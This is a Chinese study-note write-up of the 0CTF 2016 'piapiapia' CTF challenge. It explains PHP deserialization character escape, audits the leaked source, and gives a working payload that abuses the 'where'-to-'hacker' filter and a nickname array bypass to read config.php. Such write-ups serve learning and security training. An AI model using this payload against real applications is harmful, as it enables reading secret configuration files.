【学习笔记 31】 buu [0CTF 2016]piapiapia
0x00 知识点
- 网站目录的扫描(源码泄露)
- 代码审计
- PHP反序列化字符逃逸
0x01 知识点详解
- 网站目录扫描工具都是那几种?
答:这里不单单是指常规的御剑,还包括dirsearch,dirb,nikto等工具,一定要多积累一些这样的工具,不然遇到这种同样的源码泄露,或者有robots.txt文件的题都没法下手。 - 什么是PHP反序列化字符逃逸?
答:这里引用一个大佬的例子,感觉很是清晰明了,之后我也会自己再详细学习。
序列化
<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>
结果
string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
反序列化
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>
运行结果
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" }
我们可以看到在后端中,反序列化是一";}结束的,如果我们把";}带入需要反序列化的字符串中(除了结尾处),是不是就能让反序列化提前结束后面的内容就丢弃了呢?
我们把第二个值abc换成abc";i:2;s:5:"qwert";}
<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>
运行结果
array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" }
成功的反序列化出我们自己定义的内容,丢弃了原先的内容(i:2;s:4:"defg")
0x02 解题思路
- 打开网站一看就发现了一个小猫咪的登录页面
这里通过网站目录扫描可以发现源码泄露,也就是www.zip文件,将源码下载下来后,进行代码审计。 - 这里我们就挑重要的代码进行审计了
第一个就是update.php文件
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');//可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));//注意这里使用了序列化函数,一般题目中出现这个函数,都要考虑反序列化方面的解题方法,这里我们跟着update_profile函数跳转到class.php文件。echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';}else {?>
<!DOCTYPE html>
<html>
<head><title>UPDATE</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Please Update Your Profile</h3><label>Phone:</label><input type="text" name="phone" style="height:30px"class="span3"/><label>Email:</label><input type="text" name="email" style="height:30px"class="span3"/><label>Nickname:</label><input type="text" name="nickname" style="height:30px" class="span3"><label for="file">Photo:</label><input type="file" name="photo" style="height:30px"class="span3"/><button type="submit" class="btn btn-primary">UPDATE</button></form></div>
</body>
</html>
<?php}
?>
class.php
<?php
require('config.php');class user extends mysql{private $table = 'users';public function is_exists($username) {$username = parent::filter($username);$where = "username = '$username'";return parent::select($this->table, $where);}public function register($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$key_list = Array('username', 'password');$value_list = Array($username, md5($password));return parent::insert($this->table, $key_list, $value_list);}public function login($username, $password) {$username = parent::filter($username);$password = parent::filter($password);$where = "username = '$username'";$object = parent::select($this->table, $where);if ($object && $object->password === md5($password)) {return true;} else {return false;}}public function show_profile($username) {$username = parent::filter($username);$where = "username = '$username'";$object = parent::select($this->table, $where);return $object->profile;}public function update_profile($username, $new_profile) { //找到这个函数了,继续往下看$username = parent::filter($username);$new_profile = parent::filter($new_profile);$where = "username = '$username'";return parent::update($this->table, 'profile', $new_profile, $where);}public function __tostring() {//调用了魔法函数return __class__;}
}class mysql {private $link = null;public function connect($config) {$this->link = mysql_connect($config['hostname'],$config['username'], $config['password']);mysql_select_db($config['database']);mysql_query("SET sql_mode='strict_all_tables'");return $this->link;}public function select($table, $where, $ret = '*') {$sql = "SELECT $ret FROM $table WHERE $where";$result = mysql_query($sql, $this->link);return mysql_fetch_object($result);}public function insert($table, $key_list, $value_list) {$key = implode(',', $key_list);$value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)";return mysql_query($sql);}public function update($table, $key, $value, $where) {$sql = "UPDATE $table SET $key = '$value' WHERE $where";return mysql_query($sql);}public function filter($string) { $escape = array('\'', '\\\\');$escape = '/' . implode('|', $escape) . '/';$string = preg_replace($escape, '_', $string);$safe = array('select', 'insert', 'update', 'delete', 'where'); //注意这里定义的非法值$safe = '/' . implode('|', $safe) . '/i';return preg_replace($safe, 'hacker', $string);} //这里将非法值替换成了hackerpublic function __tostring() {return __class__;}
}
session_start();
$user = new user();
$user->connect($config);
这俩个文件的意思就是先正则匹配,之后将参数序列化,最后替换里边的非法值。
profile.php
<?phprequire_once('class.php');if($_SESSION['username'] == null) {die('Login First'); }$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile == null) {header('Location: update.php');}else {$profile = unserialize($profile);//将传参反序列化出来$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));//这里进行了文件读取,也就是说photo将是我们可以操作的参数
?>
<!DOCTYPE html>
<html>
<head><title>Profile</title><link href="static/bootstrap.min.css" rel="stylesheet"><script src="static/jquery.min.js"></script><script src="static/bootstrap.min.js"></script>
</head>
<body><div class="container" style="margin-top:100px"> <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"><h3>Hi <?php echo $nickname;?></h3><label>Phone: <?php echo $phone;?></label><label>Email: <?php echo $email;?></label></div>
</body>
</html>
<?php}
?>
config.php
<?php$config['hostname'] = '127.0.0.1';$config['username'] = 'root';$config['password'] = '';$config['database'] = '';$flag = '';//flag在这里
?>
那么思路很明显了我们构造包含config.php的序列化字符串,利用字符串逃逸,在profile.php中读取出来。
首先我们的反序列化字符逃逸,序列化的字符是可控的,还有前面的长度是可控的。但update.php将参数序列化,我们可控变量的长度就已经写死了,怎么才能去控制呢。这里就要用到前面class.php中将非法值替换为hacker这一步了。通过将‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘替换成‘hacker‘,当我们写入where替换成hacker之后字符串实际的长度就+1,因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag,并且让他在photo位置上,然后把photo给扔掉,这样在profile.php中读取的photo就是我们构造的config.php了,也就是读取到了flag。
也就是说利用这个替换,使得实际长度增长,将我们认为构造的带有config.php的序列化字符串放到原来photo所在的位置,并且闭合,使序列化字符串闭合。
所以我们这里就需要";}s:5:"photo";s:10:"config.php";}
将这么一串我们自己构造的字符串插入其中,由于这串字符串的总长度为34,所以,我们就需要在其前加34个where来延长这个长度,之后将这个参数传进去,就可以去profile.php页面读取flag了。首先访问register.php页面随便注册一个账号并登录
之后就会跳转到update.php页面,这里就需要你填写信息这里注意你填写的信息好符合对应的格式,不然你总会更信息失败。之后抓包
接下来因为是要把photo的值挤出去,所以就要photo前的参数也就是nickname
将nickname改为nickname[]数组绕过长度检测,之后修改nickname里的内容
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- 放包后进入profile.php查看源码
将这里的base64解码
【学习笔记 31】 buu [0CTF 2016]piapiapia相关推荐
- BUU [0CTF 2016]piapiapia
BUU [0CTF 2016]piapiapia 进去之后是个登录界面,抓包有一个cookie.感觉是十六进制,但是其实不是这样做,是应该扫描的. buu什么都扫不出来,直接看源码. /registe ...
- [0CTF 2016]piapiapia WP(详细)
[0CTF 2016]piapiapia WP(详细) 1.打开网站,是个登录框,尝试注入无果.....按道理来说就是注入了啊喂 2.玄学时间到::: 目录扫完啥结果没有.在buuctf做题总是这样, ...
- BUCTF[0CTF 2016]piapiapia
[0CTF 2016]piapiapia 打开环境是个登录框,尝试了一下sql注入,发现并无任何用处. 于是扫描目录,发现了个/www.zip. 开始代码审计: 在config.php中看到了flag ...
- 影像组学视频学习笔记(31)-柱状图的python实现、Li‘s have a solution and plan.
本笔记来源于B站Up主: 有Li 的影像组学系列教学视频 本节(31)主要介绍: 用python画柱状图,带errorbar,以及分组展示 import seaborn as sns import p ...
- TMS320F280049C 学习笔记31 控制率加速器 CLA 学习随笔
文章目录 前言 文献阅读记录 整数比较时的注意点 参考文献 前言 去年在入门DSP的时候曾对控制率加速器(Control Law Accelerator, CLA)做过初步的学习[1][2],但后来的 ...
- Kali学习笔记31:目录遍历漏洞、文件包含漏洞
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...
- 学习笔记(31):Python网络编程并发编程-定时器
立即学习:https://edu.csdn.net/course/play/24458/296448?utm_source=blogtoedu 定时器:threading.Timer 1.概念:定时器 ...
- RS 学习笔记 3-1
3-1 fence climb onto/jump off salad towel napkin ladder 转载于:https://blog.51cto.com/mingii/776041
- 安卓学习笔记31:使用自定义视图绘制文本、图形与图像
文章目录 零.学习目标 一.自定义视图 (一)自定义视图概述 (二)使用自定义视图基本步骤 (三)案例演示 - 使用自定义视图绘制圆 1.创建安卓应用[DrawCircle] 2.创建自定义视图 - ...
- 《MySQL实战45讲》——学习笔记31 “误删数据的解决方案(删行/删表/删库/删实例)“
本篇介绍MySQL误删数据的几种情况以及误删后的处理方法,包括: 使用delete语句误删数据行: 使用drop table或者truncate table语句误删数据表: 使用drop databa ...
最新文章
- Android系统SVC命令教程
- 少一些计较多_人与人之间最舒服的关系:低期待,少索取,不苛求
- C# 文件保存到数据库中或者从数据库中读取文件
- 面试官:注解@Component,@Service是如何被解析的?
- php页面调用时间戳,php--------获取当前时间、时间戳
- 函数式编程的兴衰与当前之崛起
- Linux下shell脚本指定程序运行时长
- 控制台怎么查看错误的详细信息_js错误处理,quot;try..catchquot;
- 关于Unity中Mesh网格的详解
- python数据分析numpy_Python数据分析之numpy学习(一)
- 音乐盒单片机c语言课程设计,基于PIC16F887单片机数字音乐盒课程设计.doc
- 小米8连续点击Android版本,极致模式已开启!小米MIUI8隐藏功能大盘点
- Softmax和关于它的交叉熵损失函数详细求导过程
- R语言导出xlxs_R语言 数据Excel的导入与导出
- 城市微光,大抵如此--爱摸鱼的美工(15)
- This Apple ID has not yet been used in the ITunes Store/此Apple ID尚未在iTunes Store使用过
- 从js给html的form表单赋值,js获取form表单数据和form表单赋值
- Linux-dd命令
- 使用cocoscreator接入google AdSence广告
- html2Canvas 边框虚线